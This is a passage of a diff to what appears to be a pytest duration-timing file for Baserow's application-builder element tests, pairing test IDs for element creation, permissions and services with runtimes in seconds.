"tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[iframe]": 0.0953354160010349, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[image]": 0.09900554196792655, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[input_file]": 0.09917679199134, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[input_text]": 0.09684370897593908, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[link]": 0.10061533300904557, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[menu]": 0.0960466260148678, "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[paragraph]": 0.06706808400008413, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[repeat]": 0.1492651250000563, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[table]": 0.14787504100058868, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[text]": 0.1484992929999862, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_creating_element_in_container_starts_its_own_order_sequence": 0.15554004200021154, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_delete_element": 0.1493386259990075, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_deeply_nested": 0.44543895900005737, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_multiple_elements": 0.44197320900002524, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_single_element": 0.1558198339989758, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_with_workflow_action": 0.2909399169993776, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_with_workflow_action_in_container": 0.5938589170018531, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_ancestors": 0.5530214179989343, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element": 0.15049979200011876, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_does_not_exist": 0.01221412499944563, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_workflow_actions": 0.29067791599936754, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_elements": 0.5563041669993254, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_first_ancestor_of_type": 0.5578640000003361, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_move_element_before": 0.5460204999999405, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_move_element_before_fails": 0.5451971259999482, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_move_element_end_of_page": 0.5457798320003349, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_moving_elements_inside_container": 0.15767937400141818, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_order_elements": 0.43588987500061194, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_order_elements_not_in_page": 0.45126958299988473, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_recalculate_full_orders": 1.628678459999719, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_update_element": 0.14853933200083702, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_update_element_invalid_values": 0.14842316700014635, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles0-allow_all-True]": 0.4171085839998341, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles1-allow_all-True]": 0.40996062500016706, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles4-allow_all_except-True]": 0.4002366679997067, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles5-allow_all_except-True]": 0.4035446239995508, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles8-disallow_all_except-False]": 0.40291212600004656, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles9-disallow_all_except-False]": 0.3987667910014352, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[bar_role-roles10-disallow_all_except-False]": 0.3979927919999682, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[bar_role-roles2-allow_all-True]": 0.4049276670002655, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[bar_role-roles6-allow_all_except-True]": 0.4023418339984346, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles11-disallow_all_except-True]": 0.4019706250001036, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles12-invalid_role_type-False]": 0.3986278319998746, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles3-allow_all-True]": 0.39879012499932287, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles7-allow_all_except-False]": 0.40134766699975444, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_true[foo_role-roles0-allow_all]": 0.39907024999865826, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_true[foo_role-roles1-allow_all_except]": 0.4055903340004079, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_true[foo_role-roles2-disallow_all_except]": 0.4015744579992315, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_element_visibility_permission_manager_check_permission": 1.3466625009996278, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_element_visibility_permission_manager_filter_queryset": 1.3670955839997987, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[ - ]": 0.27241412599960313, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[-]": 0.27272004100086633, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[bar_role-bar_role]": 0.27658625000003667, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[foo_role-foo_role]": 0.27209750000019994, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[-roles0-allow_all-None]": 0.554330373999619, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[-roles3-allow_all_except-None]": 0.5503447089986366, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[-roles7-disallow_all_except-False]": 0.5391793740009234, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles1-allow_all-None]": 0.5566121679985372, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles10-disallow_all_except-None]": 0.5439586669990604, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles2-allow_all-None]": 0.5542158329999438, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles4-allow_all_except-None]": 0.5431691249987125, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles5-allow_all_except-None]": 0.5406567500003803, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles6-allow_all_except-False]": 0.5506998749997365, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles8-disallow_all_except-False]": 0.5424044580004193, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles9-disallow_all_except-False]": 0.5427641669994046, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[-parent_element_roles0-chid_element_roles0-logged-in-not-logged-disallow_all_except-False]": 0.9317812090002917, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[user_role-parent_element_roles1-chid_element_roles1-not-logged-not-logged-disallow_all_except-True]": 0.9516062519996922, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[user_role-parent_element_roles2-chid_element_roles2-logged-in-logged-in-allow_all_except-True]": 0.9526977079995049, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[user_role-parent_element_roles3-chid_element_roles3-logged-in-logged-in-disallow_all_except-True]": 0.9529942090002805, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[-roles0-allow_all-1]": 0.5558537500010061, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[-roles3-allow_all_except-1]": 0.5471645409988923, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[-roles7-disallow_all_except-0]": 0.557236376000219, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles1-allow_all-1]": 0.5557619160008471, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles10-disallow_all_except-1]": 0.5472638750006809, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles2-allow_all-1]": 0.5542890840006294, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles4-allow_all_except-1]": 0.5395926249993863, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles5-allow_all_except-1]": 0.5564201669994873, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles6-allow_all_except-0]": 0.5531138749993261, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles8-disallow_all_except-0]": 0.5533105839995187, - "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles9-disallow_all_except-0]": 0.5463651670006584, - "tests/baserow/contrib/builder/elements/test_element_receivers.py::test_page_deletion_updates_link_collection_navigate_to_page_id": 0.4024450010001601, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[auth_form]": 0.42913579200012464, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[button]": 0.4134610420005629, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[checkbox]": 0.4123671249990366, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[choice]": 0.40416545899915945, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[column]": 0.4090411249999306, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[rating]": 0.10024029298801906, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[rating_input]": 0.10054791698348708, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[record_selector]": 0.10011249998933636, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[repeat]": 0.09884999901987612, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[simple_container]": 0.0963964999828022, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[table]": 0.10102420797920786, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[text]": 0.09919279199675657, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element_and_shared_page": 0.09437729202909395, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element_deactivated_type": 0.09113466599956155, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_creating_element_in_container_starts_its_own_order_sequence": 0.11222862498834729, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_delete_element": 0.09867991699138656, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_deeply_nested": 0.27877737500239164, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_multiple_elements": 0.26999595799134113, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_single_element": 0.10469233299954794, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_with_workflow_action": 0.1837066670123022, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_duplicate_element_with_workflow_action_in_container": 0.3689158750057686, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_ancestors": 0.3240191240038257, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_builder_elements[False-1]": 0.23867495800368488, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_builder_elements[True-3]": 0.23896308403345756, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element": 0.09793150000041351, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_does_not_exist": 0.017751833016518503, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_property_options_returns_expected_options[False-False-False]": 0.22966979202465154, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_property_options_returns_expected_options[False-False-True]": 0.2307137089956086, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_property_options_returns_expected_options[False-True-False]": 0.23187591598252766, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_property_options_returns_expected_options[True-False-False]": 0.2267258329957258, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_property_options_returns_expected_options[True-True-True]": 0.23379716798081063, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_element_workflow_actions": 0.17941658399649896, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_elements": 0.3225114160159137, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_get_first_ancestor_of_type": 0.3274589589855168, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_move_element_before": 0.32592183400993235, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_move_element_before_fails": 0.3122068330121692, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_move_element_end_of_page": 0.3175430410192348, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_moving_elements_inside_container": 0.11068874999182299, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_order_elements": 0.24809895802172832, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_order_elements_not_in_page": 0.2542418329976499, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_recalculate_full_orders": 0.9147747079841793, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_update_element": 0.09566808401723392, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_update_element_invalid_values": 0.0969242500141263, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles0-allow_all-True]": 0.24567383402609266, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles1-allow_all-True]": 0.2528975829773117, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles4-allow_all_except-True]": 0.25324554202961735, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles5-allow_all_except-True]": 0.2437435410101898, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles8-disallow_all_except-False]": 0.24197150001418777, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[-roles9-disallow_all_except-False]": 0.24402524897595868, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[bar_role-roles10-disallow_all_except-False]": 0.24687299999641255, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[bar_role-roles2-allow_all-True]": 0.24597850101417862, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[bar_role-roles6-allow_all_except-True]": 0.2412677899992559, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles11-disallow_all_except-True]": 0.24369950001710095, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles12-invalid_role_type-False]": 0.2512861670111306, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles3-allow_all-True]": 0.24757500001578592, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_expected_bool[foo_role-roles7-allow_all_except-False]": 0.2494313339702785, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_true[foo_role-roles0-allow_all]": 0.2416034999769181, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_true[foo_role-roles1-allow_all_except]": 0.24418254199554212, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_auth_user_can_view_element_returns_true[foo_role-roles2-disallow_all_except]": 0.24511958297807723, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_element_visibility_permission_manager_check_permission": 0.7809029170020949, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_element_visibility_permission_manager_filter_queryset": 0.7903349589905702, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[ - ]": 0.16805025000940077, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[-]": 0.1701434170245193, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[bar_role-bar_role]": 0.1641646249918267, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_get_roles_returns_role[foo_role-foo_role]": 0.17527237502508797, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[all-allow_all-page_roles0-all-allow_all-element_roles0--1]": 0.3341343339707237, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[all-allow_all_except-page_roles1-logged-in-allow_all_except-element_roles1-foo_role-1]": 0.3343380840087775, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[all-allow_all_except-page_roles2-logged-in-allow_all_except-element_roles2-foo_role-0]": 0.3297930420085322, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[all-disallow_all_except-page_roles3-logged-in-disallow_all_except-element_roles3-foo_role-0]": 0.3219480829720851, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[logged-in-allow_all_except-page_roles4-logged-in-allow_all-element_roles4-foo_role-0]": 0.3299144589982461, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[logged-in-allow_all_except-page_roles7-logged-in-disallow_all_except-element_roles7-foo_role-1]": 0.33344804000807926, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[logged-in-disallow_all_except-page_roles5-logged-in-allow_all-element_roles5-foo_role-0]": 0.3315077090228442, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_page_visibility_applied_to_workflow_actions_queryset[logged-in-disallow_all_except-page_roles6-logged-in-allow_all_except-element_roles6-foo_role-1]": 0.3347316659637727, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[-roles0-allow_all-None]": 0.32320595800410956, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[-roles3-allow_all_except-None]": 0.32368124899221584, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[-roles7-disallow_all_except-False]": 0.3198050400533248, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles1-allow_all-None]": 0.3248168329882901, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles10-disallow_all_except-None]": 0.32466150002437644, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles2-allow_all-None]": 0.3230817079602275, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles4-allow_all_except-None]": 0.3281527499493677, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles5-allow_all_except-None]": 0.32433916701120324, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles6-allow_all_except-False]": 0.323951957951067, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles8-disallow_all_except-False]": 0.3254375829710625, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_permission_check_fails_if_logged_in_and_role_not_allowed[foo_role-roles9-disallow_all_except-False]": 0.3340090420388151, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[-parent_element_roles0-chid_element_roles0-logged-in-not-logged-disallow_all_except-False]": 0.47794504201738164, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[user_role-parent_element_roles1-chid_element_roles1-not-logged-not-logged-disallow_all_except-True]": 0.47596841599442996, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[user_role-parent_element_roles2-chid_element_roles2-logged-in-logged-in-allow_all_except-True]": 0.47312670800602064, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_excludes_all_child_elements[user_role-parent_element_roles3-chid_element_roles3-logged-in-logged-in-disallow_all_except-True]": 0.4766964580048807, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[-roles0-allow_all-1]": 0.33353354199789464, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[-roles3-allow_all_except-1]": 0.3279213340138085, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[-roles7-disallow_all_except-0]": 0.32885016698855907, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles1-allow_all-1]": 0.3267692500085104, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles10-disallow_all_except-1]": 0.32378449995303527, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles2-allow_all-1]": 0.32601033299579285, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles4-allow_all_except-1]": 0.3271467499725986, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles5-allow_all_except-1]": 0.32288887500180863, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles6-allow_all_except-0]": 0.3309149180131499, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles8-disallow_all_except-0]": 0.3286735839792527, + "tests/baserow/contrib/builder/elements/test_element_permission_manager.py::test_queryset_only_includes_elements_allowed_by_role[foo_role-roles9-disallow_all_except-0]": 0.32477391595602967, + "tests/baserow/contrib/builder/elements/test_element_receivers.py::test_page_deletion_updates_link_collection_navigate_to_page_id": 0.18066391700995155, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[auth_form]": 0.24248683301266283, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[button]": 0.24898120801663026, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[checkbox]": 0.24338962501497008, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[choice]": 0.24091124997357838, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[column]": 0.2454643739911262, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[datetime_picker]": 0.2434280420129653, "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[dropdown]": 0.2551167040364817, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[form_container]": 0.4033948339993003, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[heading]": 0.4148345840003458, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[iframe]": 0.43684691800081055, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[image]": 0.4134517920019789, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[input_text]": 0.4177955839995775, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[link]": 0.39961937599946395, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[footer]": 0.2475269990391098, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[form_container]": 0.24326545797521248, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[header]": 0.24175412399927154, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[heading]": 0.24479241701192223, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[iframe]": 0.2453852090111468, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[image]": 0.24781775099108927, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[input_file]": 0.24409825098700821, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[input_text]": 0.24963345800642855, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[link]": 0.24901233302080072, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[menu]": 0.2456784580135718, "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[paragraph]": 0.16937196800006404, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[repeat]": 0.4033751670003767, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[table]": 0.45420320900029765, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[text]": 0.4004342499993072, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element_before": 0.4228513340003701, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element_before_not_same_page": 0.4121180419997472, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element_permission_denied": 0.1461526249995586, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_delete_element": 0.1462235420012803, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_delete_element_permission_denied": 0.3489619579995633, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_duplicate_element": 0.14860987500105693, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_duplicate_element_permission_denied": 0.3324508749992674, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_element": 0.15194912500010105, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_element_does_not_exist": 0.14338483399933466, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_element_permission_denied": 0.15083833299922844, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_elements": 0.5443163330000971, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_unique_orders_before_element_triggering_full_page_order_reset": 0.6739538760011783, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element": 0.54218045899961, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element_not_same_page": 0.5378066259991101, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element_permission_denied": 0.5352151659999436, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[rating]": 0.2513153740146663, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[rating_input]": 0.24950762401567772, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[record_selector]": 0.2430677919765003, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[repeat]": 0.24567541599390097, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[simple_container]": 0.24457429198082536, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[table]": 0.250986292026937, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element[text]": 0.26441950001753867, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element_before": 0.243987333989935, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element_before_not_same_page": 0.24544750002678484, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_create_element_permission_denied": 0.09147895901696756, + 